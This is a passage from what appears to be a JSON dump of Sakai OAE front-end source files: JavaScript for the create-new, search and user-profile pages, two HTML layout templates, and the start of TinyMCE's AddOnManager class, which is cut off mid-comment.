WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.createnew = function() {\n\n        var pubdata = {\n            \"structure0\": {}\n        };\n\n        for (var i = 0; i < sakai.config.worldTemplates.length; i++){\n            var category = sakai.config.worldTemplates[i];\n            var rnd = sakai.api.Util.generateWidgetId();\n            pubdata.structure0[category.id] = {\n                \"_order\": i,\n                \"_title\": sakai.api.i18n.getValueForKey(category.title),\n                \"_ref\": rnd\n            };\n            pubdata[rnd] = {\n                \"rows\": [{\n                    \"id\": sakai.api.Util.generateWidgetId(),\n                    \"columns\": [{\n                        \"width\": 1,\n                        \"elements\": [\n                            {\n                                \"id\": category.id,\n                                \"type\": \"selecttemplate\"\n                            }\n                        ]\n                    }]\n                }]\n            };\n        }\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n\n        var renderCreateGroup = function(){\n            $(window).trigger(\"sakai.newcreategroup.init\");\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        $(window).bind(\"newcreategroup.ready\", function(){\n            renderCreateGroup();\n        });\n\n        generateNav();\n        \n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"createnew\");\n});\n", "dev/javascript/search.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.search = function() {\n        var worldsOrderIncrement = 3;\n        var searchButton = \"#form .s3d-search-button\";\n        var searchInput = \"#form .s3d-search-inputfield\";\n        var searchUrl = sakai.config.URL.SEARCH_URL;\n        var pubdata = {\n            \"structure0\": {\n                \"all\": {\n                    \"_ref\": \"id9574379429432\",\n                    \"_order\": 0,\n                    \"_title\": sakai.api.i18n.getValueForKey(\"ALL_TYPES\"),\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id9574379429432\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"ALL_TYPES\"),\n                        \"_url\": searchUrl\n                    }\n                },\n                \"content\": {\n                    \"_ref\": \"id6573920372\",\n                    \"_order\": 1,\n                    \"_title\": sakai.api.i18n.getValueForKey(\"CONTENT\"),\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id6573920372\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"CONTENT\"),\n                        \"_url\": searchUrl\n                    }\n                },\n                \"people\": {\n                    \"_title\": sakai.api.i18n.getValueForKey(\"PEOPLE\"),\n                    \"_ref\": \"id49294509202\",\n                    \"_order\": 2,\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id49294509202\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"PEOPLE\"),\n                        \"_url\": searchUrl\n                    }\n                }\n            },\n            \"id9574379429432\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id4382631\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id8403845\",\n                                        \"type\": \"searchall\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"id6573920372\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id1813095\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id9436392\",\n                                        \"type\": \"searchcontent\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"id49294509202\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id152530\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id1187051\",\n                                        \"type\": \"searchpeople\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            }\n        };\n\n        for (var c = 0; c < sakai.config.worldTemplates.length; c++) {\n            var category = sakai.config.worldTemplates[c];\n            var refId = sakai.api.Util.generateWidgetId();\n            var title = sakai.api.i18n.getValueForKey(category.titlePlural);\n            pubdata.structure0[category.id] = {\n                \"_title\": title,\n                \"_ref\": refId,\n                \"_order\": (c + worldsOrderIncrement),\n                \"_url\": searchUrl,\n                \"main\": {\n                    \"_ref\": refId,\n                    \"_order\": 0,\n                    \"_title\": title,\n                    \"_url\": searchUrl\n                }\n            };\n            var searchWidgetId = sakai.api.Util.generateWidgetId();\n            pubdata[refId] = {\n                \"rows\": [\n                    {\n                        \"id\": sakai.api.Util.generateWidgetId(),\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": searchWidgetId,\n                                        \"type\": \"searchgroups\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            };\n            pubdata[refId][searchWidgetId] = {\n                \"category\": category.id\n            };\n        }\n\n        var fireSearch = function(){\n            $.bbq.pushState({\n                \"q\": $(searchInput).val(),\n                \"cat\": \"\",\n                \"refine\": $.bbq.getState(\"refine\")\n            }, 0);\n        };\n\n        ///////////////////\n        // Event binding //\n        ///////////////////\n\n        var eventBinding = function(){\n            $(searchInput).on(\"keydown\", function(ev){\n                if (ev.keyCode === 13) {\n                    fireSearch();\n                }\n            });\n\n            $(searchButton).on(\"click\", function(ev){\n                fireSearch();\n            });\n        };\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n\n        var renderEntity = function(){\n            $(window).trigger(\"sakai.entity.init\", [\"search\"]);\n        };\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity();\n        });\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        renderEntity();\n        generateNav();\n        eventBinding();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"search\");\n});\n", "dev/javascript/user.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.profile = sakai_global.profile || {};\n    sakai_global.profile.main = sakai_global.profile.main || {};\n    $.extend(true, sakai_global.profile.main, {\n        config: sakai.config.Profile.configuration.defaultConfig,\n        data: {},\n        mode: {\n            options: [\"view\", \"edit\"],\n            value: \"view\"\n        }\n    });\n\n    sakai_global.user = function() {\n\n        var privdata = false;\n        var pubdata = false;\n        var privurl = false;\n        var puburl = false;\n        var messageCounts = false;\n        var isMe = false;\n        var entityID = false;\n        var isContact = false;\n\n        var contextType = false;\n        var contextData = false;\n\n        var setupProfileSection = function( title, section ) {\n            var ret = {\n                _ref: sakai.api.Util.generateWidgetId(),\n                _order: section.order,\n                _altTitle: section.label,\n                _title: section.label,\n                _nonEditable: true,\n                _view: section.permission\n            };\n            // _reorderOnly is only true for the basic profile\n            ret._reorderOnly = title === \"basic\";\n            return ret;\n        };\n\n        var setupProfile = function( structure, isMe ) {\n            var firstWidgetRef = \"\";\n            var profilestructure = {\n                _title: structure.structure0.profile._title,\n                _altTitle: structure.structure0.profile._altTitle,\n                _order: structure.structure0.profile._order\n            };\n            if ( isMe ) {\n                profilestructure[\"_canEdit\"] = true;\n                profilestructure[\"_nonEditable\"] = true;\n                profilestructure[\"_reorderOnly\"] = true;\n                profilestructure[\"_canSubedit\"] = true;\n            }\n            var newProfile = true;\n            $.each( structure.structure0.profile, function( key, section ) {\n                if ( $.isPlainObject( section ) ) {\n                    newProfile = false;\n                }\n            });\n            if ( newProfile ) {\n                structure.structure0.profile = {};\n            }\n            var initialProfilePost = [];\n            var paths = [];\n            var permissions = [];\n            var updateStructure = false;\n            $.each(sakai.config.Profile.configuration.defaultConfig, function(title, section) {\n                var widgetUUID = sakai.api.Util.generateWidgetId();\n                if ( !newProfile && structure.structure0.profile.hasOwnProperty( title ) ) {\n                    profilestructure[ title ] = structure.structure0.profile[ title ];\n                } else if ( newProfile || !structure.structure0.profile.hasOwnProperty( title )) {\n                    profilestructure[ title ] = setupProfileSection( title, section );\n                    if (title !== \"basic\"){\n                        paths.push(\"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + title);\n                        permissions.push(section.permission);\n                    }\n                    if (section.order === 0) {\n                        firstWidgetRef = profilestructure[ title ]._ref;\n                    }\n                    initialProfilePost.push({\n                        \"url\": \"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + title,\n                        \"method\": \"POST\",\n                        \"parameters\": {\n                            \"init\": true\n                        }\n                    });\n                }\n                // Don't need to use these from the profile, gives us more flexibility on the profile itself\n                structure[profilestructure[ title ]._ref] = {\n                    rows: [\n                        {\n                            \"id\": sakai.api.Util.generateWidgetId(),\n                            \"columns\": [\n                                {\n                                    \"width\": 1,\n                                    \"elements\": [\n                                        {\n                                            \"id\": widgetUUID,\n                                            \"type\": \"displayprofilesection\"\n                                        }\n                                    ]\n                                }\n                            ]\n                        }\n                    ]\n                };\n                structure[profilestructure[ title ]._ref][widgetUUID] = {\n                    sectionid: title\n                };\n            });\n\n            // Eliminate extra sections in the profile that are hanging around\n            $.each( structure.structure0.profile, function( section_title, section_data ) {\n                if ( $.isPlainObject( section_data ) && !profilestructure.hasOwnProperty( section_title ) ) {\n                    initialProfilePost.push({\n                        \"url\": \"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + section_title,\n                        \"method\": \"POST\",\n                        \"parameters\": {\n                            \":operation\": \"delete\"\n                        }\n                    });\n                }\n            });\n\n            if ( isMe && initialProfilePost.length ) {\n                updateStructure = true;\n                sakai.api.Server.batch(initialProfilePost, function(success, data){\n                    if (success) {\n                        sakai.api.Content.setACLsOnPath(paths, permissions, sakai.data.me.user.userid, function(success){\n                            if (!success){\n                                debug.error(\"Error setting initial profile ACLs\");\n                            }\n                        });\n                    } else {\n                        debug.error(\"Error saving initial profile fields\");\n                    }\n                });\n            }\n\n            structure.structure0.profile = profilestructure;\n            structure.structure0.profile._ref = firstWidgetRef;\n            return updateStructure;\n        };\n\n        var continueLoadSpaceData = function(userid){\n            var publicToStore = false; var requiresPublicMigration = false;\n            var privateToStore = false; var requirePrivateMigration = false;\n\n            // Load public data from /~userid/private/pubspace\n            sakai.api.Server.loadJSON(puburl, function(success, data){\n                if (!success){\n                    pubdata = $.extend(true, {}, sakai.config.defaultpubstructure);\n                    var refid = {\"refid\": sakai.api.Util.generateWidgetId()};\n                    pubdata = sakai.api.Util.replaceTemplateParameters(refid, pubdata);\n                } else {\n                    pubdata = data;\n                    pubdata = sakai.api.Content.Migrators.migratePageStructure(sakai.api.Server.cleanUpSakaiDocObject(pubdata), isMe ? puburl : false);\n                }\n                if (!isMe){\n                    pubdata.structure0 = setManagerProperty(pubdata.structure0, false);\n                    for (var i in pubdata.structure0) {\n                        if (pubdata.structure0.hasOwnProperty(i)){\n                            pubdata.structure0[i] = determineUserAreaPermissions(pubdata.structure0[i]);\n                        }\n                    }\n                }\n                if ( pubdata.structure0.profile && setupProfile( pubdata, isMe ) ) {\n                    publicToStore = $.extend(true, {}, pubdata);\n                }\n                if (isMe){\n                    sakai.api.Server.loadJSON(privurl, function(success2, data2){\n                        if (!success2){\n                            privdata = $.extend(true, {}, sakai.config.defaultprivstructure);\n                            var refid = {\"refid\": sakai.api.Util.generateWidgetId()};\n                            privdata = sakai.api.Util.replaceTemplateParameters(refid, privdata);\n                            privateToStore = $.extend(true, {}, privdata);\n                        } else {\n                            privdata = data2;\n                            privdata = sakai.api.Content.Migrators.migratePageStructure(sakai.api.Server.cleanUpSakaiDocObject(privdata), privurl);\n                        }\n                        if (publicToStore) {\n                            if ($.isPlainObject(publicToStore.structure0)) {\n                                publicToStore.structure0 = $.toJSON(publicToStore.structure0);\n                            }\n                            sakai.api.Server.saveJSON(puburl, publicToStore);\n                        }\n                        if (privateToStore) {\n                            if ($.isPlainObject(privateToStore.structure0)) {\n                                privateToStore.structure0 = $.toJSON(privateToStore.structure0);\n                            }\n                            sakai.api.Server.saveJSON(privurl, privateToStore);\n                        }\n                        pubdata.structure0 = setManagerProperty(pubdata.structure0, true);\n                        generateNav();\n                    });\n                } else {\n                    generateNav();\n                }\n            });\n        };\n\n        var loadSpaceData = function(){\n            var userid;\n            if (!entityID || entityID == sakai.data.me.user.userid) {\n                isMe = true;\n                userid = sakai.data.me.user.userid;\n            } else {\n                userid = entityID;\n            }\n            privurl = \"/~\" + sakai.api.Util.safeURL(userid) + \"/private/privspace\";\n            puburl = \"/~\" + sakai.api.Util.safeURL(userid) + \"/public/pubspace\";\n            if (isMe){\n                sakai.api.Communication.getUnreadMessagesCountOverview(\"inbox\", function(success, counts){\n                    messageCounts = counts;\n                    continueLoadSpaceData(userid);\n                });\n            } else {\n                continueLoadSpaceData(userid);\n            }\n\n        };\n\n        var addCounts = function(){\n            if (pubdata && pubdata.structure0) {\n                if (contextData && contextData.profile && contextData.profile.counts) {\n                    addCount(pubdata, \"library\", contextData.profile.counts[\"contentCount\"]);\n                    addCount(pubdata, \"memberships\", contextData.profile.counts[\"membershipsCount\"]);\n                    if (isMe) {\n                        var contactCount = 0;\n                        // determine the count of contacts to list in lhnav\n                        if (sakai.data.me.contacts.ACCEPTED && sakai.data.me.contacts.INVITED){\n                            contactCount = sakai.data.me.contacts.ACCEPTED + sakai.data.me.contacts.INVITED;\n                        } else if (sakai.data.me.contacts.ACCEPTED){\n                            contactCount = sakai.data.me.contacts.ACCEPTED;\n                        } else if (sakai.data.me.contacts.INVITED){\n                            contactCount = sakai.data.me.contacts.INVITED;\n                        }\n                        addCount(pubdata, \"contacts\", contactCount);\n                        addCount(privdata, \"messages\", sakai.data.me.messages.unread);\n                        if (messageCounts && messageCounts.count && messageCounts.count.length) {\n                            for (var i = 0; i < messageCounts.count.length; i++) {\n                                if (messageCounts.count[i].group && messageCounts.count[i].group === \"message\") {\n                                    addCount(privdata, \"messages/inbox\", messageCounts.count[i].count);\n                                }\n                                if (messageCounts.count[i].group && messageCounts.count[i].group === \"invitation\") {\n                                    addCount(privdata, \"messages/invitations\", messageCounts.count[i].count);\n                                }\n                            }\n                        }\n                    } else {\n                        addCount(pubdata, \"contacts\", contextData.profile.counts[\"contactsCount\"]);\n                    }\n                }\n            }\n        };\n\n        var determineUserAreaPermissions = function(structure){\n            var permission = structure._view || \"anonymous\";\n            if (permission === \"contacts\" && isContact) {\n                structure._canView = true;\n            } else if (permission === \"everyone\" && !sakai.data.me.user.anon) {\n                structure._canView = true;\n            } else if (permission === \"anonymous\") {\n                structure._canView = true;\n            } else {\n                structure._canView = false;\n            }\n            for (var i in structure) {\n                if (structure.hasOwnProperty(i) && i.substring(0, 1) !== \"_\") {\n                    structure[i] = determineUserAreaPermissions(structure[i]);\n                }\n            }\n            return structure;\n        };\n\n        var setManagerProperty = function(structure, value){\n            for (var i in structure){\n                if (structure.hasOwnProperty(i) && i.substring(0, 1) !== \"_\" && typeof structure[i] === \"object\") {\n                    structure[i]._canEdit = value;\n                    structure[i]._canSubedit = value;\n                    structure[i] = setManagerProperty(structure[i], value);\n                }\n            }\n            return structure;\n        };\n\n        var addCount = function(pubdata, pageid, count){\n            if (pageid.indexOf(\"/\") !== -1) {\n                var split = pageid.split(\"/\");\n                if (pubdata.structure0 && pubdata.structure0[split[0]] && pubdata.structure0[split[0]][split[1]]) {\n                    pubdata.structure0[split[0]][split[1]]._count = count;\n                }\n            } else {\n                if (pubdata.structure0 && pubdata.structure0[pageid]) {\n                    pubdata.structure0[pageid]._count = count;\n                }\n            }\n        };\n\n        var getUserPicture = function(profile, userid){\n            var picture = \"\";\n            if (profile.picture) {\n                var picture_name = $.parseJSON(profile.picture).name;\n                picture = \"/~\" + sakai.api.Util.safeURL(userid) + \"/public/profile/\" + picture_name;\n            }\n            return picture;\n        };\n\n        var determineContext = function(){\n            entityID = sakai.api.Util.extractEntity(window.location.pathname);\n            if (entityID && entityID !== sakai.data.me.user.userid){\n                sakai.api.User.getUser(entityID, getProfileData);\n            } else if (!sakai.data.me.user.anon){\n                if (entityID){\n                    document.location = \"/me\" + window.location.hash;\n                    return;\n                }\n                sakai.api.Security.showPage();\n                contextType = \"user_me\";\n                // Set the profile data object\n                sakai_global.profile.main.data = $.extend(true, {}, sakai.data.me.profile);\n                sakai_global.profile.main.mode.value = \"edit\";\n                contextData = {\n                    \"profile\": sakai.data.me.profile,\n                    \"displayName\": sakai.api.User.getDisplayName(sakai.data.me.profile),\n                    \"userid\": sakai.data.me.user.userid,\n                    \"picture\": getUserPicture(sakai.data.me.profile, sakai.data.me.user.userid),\n                    \"addArea\": \"user\"\n                };\n                document.title = document.title + \" \" + sakai.api.Util.Security.unescapeHTML(contextData.displayName);\n                renderEntity();\n                loadSpaceData();\n            } else {\n                sakai.api.Security.sendToLogin();\n            }\n        };\n\n        var getProfileData = function(exists, profile){\n            if (!profile) {\n                sakai.api.Security.sendToLogin();\n            } else {\n                sakai.api.Security.showPage();\n                // Set the profile data object\n                sakai_global.profile.main.data = $.extend(true, {}, profile);\n                contextData = {\n                    \"profile\": profile,\n                    \"displayName\": sakai.api.User.getDisplayName(profile),\n                    \"userid\": entityID,\n                    \"altTitle\": true,\n                    \"picture\": getUserPicture(profile, entityID)\n                };\n                document.title = document.title + \" \" + sakai.api.Util.Security.unescapeHTML(contextData.displayName);\n                if (sakai.data.me.user.anon) {\n                    contextType = \"user_anon\";\n                    renderEntity();\n                    loadSpaceData();\n                } else {\n                    sakai.api.User.getContacts(checkContact);\n                }\n            }\n        };\n\n        var checkContact = function(){\n            var contacts = sakai.data.me.mycontacts;\n            var isContactInvited = false;\n            var isContactPending = false;\n            for (var i = 0; i < contacts.length; i++){\n                if (contacts[i].profile.userid === entityID){\n                    if (contacts[i].details[\"sakai:state\"] === \"ACCEPTED\") {\n                        isContact = true;\n                    } else if (contacts[i].details[\"sakai:state\"] === \"INVITED\"){\n                        isContactInvited = true;\n                    } else if (contacts[i].details[\"sakai:state\"] === \"PENDING\"){\n                        isContactPending = true;\n                    }\n                }\n            }\n            if (isContact){\n                contextType = \"contact\";\n            } else if (isContactInvited){\n                contextType = \"contact_invited\";\n            } else if (isContactPending){\n                contextType = \"contact_pending\";\n            } else {\n                contextType = \"user_other\";\n            }\n            renderEntity();\n            loadSpaceData();\n        };\n\n        var generateNav = function(){\n            addCounts();\n            sakai_global.user.pubdata = pubdata;\n            if (contextType && contextType === \"user_me\" && contextData && pubdata && privdata) {\n                $(window).trigger(\"lhnav.init\", [pubdata, privdata, contextData, puburl, privurl]);\n            } else if (contextType && contextType !== \"user_me\" && contextData && pubdata) {\n                $(window).trigger(\"lhnav.init\", [pubdata, false, contextData, puburl, privurl]);\n            }\n        };\n\n        var renderEntity = function(){\n            if (contextType && contextData) {\n                $(window).trigger(\"sakai.entity.init\", [\"user\", contextType, contextData]);\n            }\n        };\n\n        var showWelcomeNotification = function(){\n            var querystring = new Querystring();\n            if (querystring.contains(\"welcome\") && querystring.get(\"welcome\") === \"true\" && !sakai.data.me.user.anon){\n                sakai.api.Util.notification.show(sakai.api.i18n.getValueForKey(\"WELCOME\") + \" \" + sakai.data.me.profile.basic.elements.firstName.value,sakai.api.i18n.getValueForKey(\"YOU_HAVE_CREATED_AN_ACCOUNT\"));\n            }\n        };\n\n        $(window).bind(\"sakai.addToContacts.requested\", function(ev, userToAdd){\n            $('.sakai_addtocontacts_overlay').each(function(index) {\n                if (entityID && entityID !== sakai.data.me.user.userid){\n                    contextType = \"contact_pending\";\n                    renderEntity();\n                }\n            });\n        });\n\n        $(\"#entity_user_accept_invitation\").live(\"click\", function(){\n            sakai.api.User.acceptContactInvite(contextData.userid);\n            contextType = \"contact\";\n            renderEntity();\n        });\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity();\n        });\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        $(window).bind(\"updated.counts.lhnav.sakai\", function(){\n            sakai.api.User.getUpdatedCounts(sakai.data.me, function(success){\n                renderEntity();\n                generateNav();\n            });\n        });\n\n        $(window).bind(\"done.newaddcontent.sakai\", function(e, data, library) {\n            if (isMe && data && data.length && library === sakai.data.me.user.userid) {\n                $(window).trigger(\"lhnav.updateCount\", [\"library\", data.length]);\n            }\n        });\n\n        $(window).bind(\"updated.messageCount.sakai\", function(){\n            if (isMe){\n                sakai.api.Communication.getUnreadMessagesCountOverview(\"inbox\", function(success, counts){\n                    messageCounts = counts;\n                    var totalCount = 0;\n                    // The structure of these objects make for O(n^2) comparison :(\n                    $.each(messageCounts.count, function(index, countObj){\n                        var pageid = \"messages/\";\n                        if (countObj.group === \"message\"){\n                            pageid += \"inbox\";\n                        } else if (countObj.group === \"invitation\"){\n                            pageid += \"invitations\";\n                        }\n                        totalCount += countObj.count;\n                        $(window).trigger(\"lhnav.updateCount\", [pageid, countObj.count, false]);\n                    });\n                    $(window).trigger(\"lhnav.updateCount\", [\"messages\", totalCount, false]);\n                }, false);\n            }\n        });\n\n        determineContext();\n        renderEntity();\n        generateNav();\n        showWelcomeNotification();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"user\");\n});\n", "dev/layout1.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-page-header\">\n                    \n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\"><!----></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        \n    </body>\n</html>\n", "dev/layout2.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div class=\"s3d-page-fullcolumn-padding\">\n                    <!-- Content with padding --></div>\n                <!-- <div class=\"s3d-page-fullcolumn-nopadding\">\n                    Content without padding\n                </div> -->\n                <div class=\"fl-push fl-widget\"><!-- --></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n    </body>\n</html>\n", "dev/lib/__tinymce/classes/AddOnManager.js": "/**\n * AddOnManager.js\n *\n * Copyright 2009, Moxiecode Systems AB\n * Released under LGPL License.\n *\n * License: http://tinymce.moxiecode.com/license\n * Contributing: http://tinymce.moxiecode.com/contributing\n */\n\n(function(tinymce) {\n\tvar Dispatcher = tinymce.util.Dispatcher, each = tinymce.each;\n\n\t/**\n\t * This class handles the loading of themes/plugins or other add-ons and their language packs.\n\t *\n\t * @class tinymce.AddOnManager\n\t */\n\ttinymce.create('tinymce.AddOnManager', {\n\t\tAddOnManager : function() {\n\t\t\tvar self = this;\n\n\t\t\tself.items = [];\n\t\t\tself.urls = {};\n\t\t\tself.lookup = {};\n\t\t\tself.onAdd = new Dispatcher(self);\n\t\t},\n\n\t\t/**\n\t\t * Fires when a item is added.\n\t\t *\n\t\t * @event onAdd\n\t\t */\n\n\t\t/**\n\t\t * Returns the specified add on by the short name.\n\t\t *\n\t\t * @method get\n\t\t * @param {String} n Add-on to look for.\n\t\t * @return {tinymce.Theme/tinymce.Plugin} Theme or plugin add-on instance or undefined.\n\t\t */\n\t\tget : function(n) {\n\t\t\tif (this.lookup[n]) {\n\t\t\t\treturn this.lookup[n].instance;\n\t\t\t} else {\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t},\n\n\t\tdependencies : function(n) {\n\t\t\tvar result;\n\t\t\tif (this.lookup[n]) {\n\t\t\t\tresult = this.lookup[n].dependencies;\n\t\t\t}\n\t\t\treturn result || [];\n\t\t},\n\n\t\t/**\n\t\t * Loads a language pack for the specified add-on.\n\t\t *\n\t\t * @method requireLangPack\n\t\t * @param {String} n Short name of the add-on.\n\t\t */\n\t\trequireLangPack : function(n) {\n\t\t\tvar s = tinymce.settings;\n\n\t\t\tif (s && s.language && s.language_load !== false)\n\t\t\t\ttinymce.ScriptLoader.add(this.urls[n] + '/langs/' + s.language + '.js');\n\t\t},\n\n\t\t/**\n\t\t * Adds a instance of the add-on by it's short name.\n\t\t *\n\t\t * @method add\n\t\t * @param {String} id Short name/id for the add-on.\n\t\t * @param {tinymce.Theme/tinymce.Plugin} o Theme or plugin to add.\n\t\t * @return {tinymce.Theme/tinymce.Plugin} The same theme or plugin instance that got passed in.\n\t\t * @example\n\t\t * // Create a simple plugin\n\t\t * tinymce.create('tinymce.plugins.TestPlugin', {\n\t\t *     TestPlugin : function(ed, url) {\n\t\t *         ed.onClick.add(function(ed, e) {\n\t\t *             ed.windowManager.alert('Hello World!');\n\t\t *         });\n\t\t *     }\n\t\t * });\n\t\t * \n\t\t * // Register plugin using the add method\n\t\t * tinymce.PluginManager.add('test', tinymce.plugins.TestPlugin);\n\t\t * \n\t\t * // Initialize TinyMCE\n\t\t * tinyMCE.init({\n\t\t *    ...\n\t\t *    plugins : '-test' // Init the plugin but don't try to load it\n\t\t * });\n\t\t */\n\t\tadd : function(id, o, dependencies) {\n\t\t\tthis.items.push(o);\n\t\t\tthis.lookup[id] = {instance:o, dependencies:dependencies};\n\t\t\tthis.onAdd.dispatch(this, id, o);\n\n\t\t\treturn o;\n\t\t},\n\t\tcreateUrl: function(baseUrl, dep) {\n\t\t\tif (typeof dep === \"object\") {\n\t\t\t\treturn dep\n\t\t\t} else {\n\t\t\t\treturn {prefix: baseUrl.prefix, resource: dep, suffix: baseUrl.suffix};\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t \t * Add a set of components that will make up the add-on. Using the url of the add-on name as the base url.\n\t\t * This should be used in development mode.  A new compressor/javascript munger process will ensure that the \n\t\t * components are put together into the editor_plugin.js file and compressed correctly.\n\t\t * @param pluginName {String} name of the plugin to load scripts from (will be used to get the base url for the plugins).\n\t\t * @param scripts {Array} Array containing the names of the scripts to load.\n\t \t */\n\t\taddComponents: function(pluginName, scripts) {\n\t\t\tvar pluginUrl = this.urls[pluginName];\n\t\t\ttinymce.each(scripts, function(script){\n\t\t\t\ttinymce.ScriptLoader.add(pluginUrl+\"/\"+script);\t\n\t\t\t});\n\t\t},\n\n\t\t/**\n\t\t * Loads an add-on from a specific url.\n\t\t 